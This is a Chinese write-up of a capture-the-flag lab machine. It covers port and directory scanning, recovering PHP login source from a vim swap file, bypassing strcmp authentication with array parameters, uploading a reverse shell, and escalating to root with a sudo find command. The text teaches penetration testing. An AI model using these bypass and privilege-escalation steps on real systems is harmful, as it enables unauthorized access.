至此,startpoint部分就完成了,也初步建立的渗透测试的思路和体系
温故而知新,可以为师矣
文章目录
- 信息收集
- php弱类型 & strcmp绕过
- GTFOBins 二进制常用命令find提权
信息收集
nmap -sC -A -Pn ip
开放端口22
、80
dirsearch 扫描目录,发现存在目录遍历,且有文件泄露
config.php 没有响应,login.php 跳转到登录页面,login.php.swp
点击可下载到本地,这是vim
编辑文件时崩溃产生的缓存文件,使用如下命令回复
vim -r login.php.swp
直接Enter
,看到源码
<?php
session_start();
// 判断用户名密码不为空
if (!empty($_POST['username']) && !empty($_POST['password'])) {
// 引用 config.php 配置文件
require('config.php');
// 比较两个参数是否相等 相等返回 0
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
// 设置 user_id = 1
$_SESSION['user_id'] = 1;
// 跳转到上传页面
header("Location: /upload.php");
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
}
?>
...
php弱类型 & strcmp绕过
问题出在这里
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
如果此时传递的参数是数组,那么strcmp
会返回NULL
,而NULL==0
会返回TRUE
,从而绕过判断
# 数组类型的参数在变量后加 [] 即可
username[]=min&password[]=xds
这样就跳转到上传页面了,上传个反弹脚本,成功,此时需要知道上传文件的路径
gobuster dir -u http://10.129.143.141 -w /usr/share/wordlists/dirb/big.txt
暴破出路径
点击
查找文件,获取到一个账号密码,是网站管理员,登录后就是上传页面
也是john
用户的密码
GTFOBins 二进制常用命令find提权
之前用 vim
提权时接触过
sudo -l
到网站查询如何提权,执行如下命令
sudo find . -exec /bin/sh \; -quit
不可思议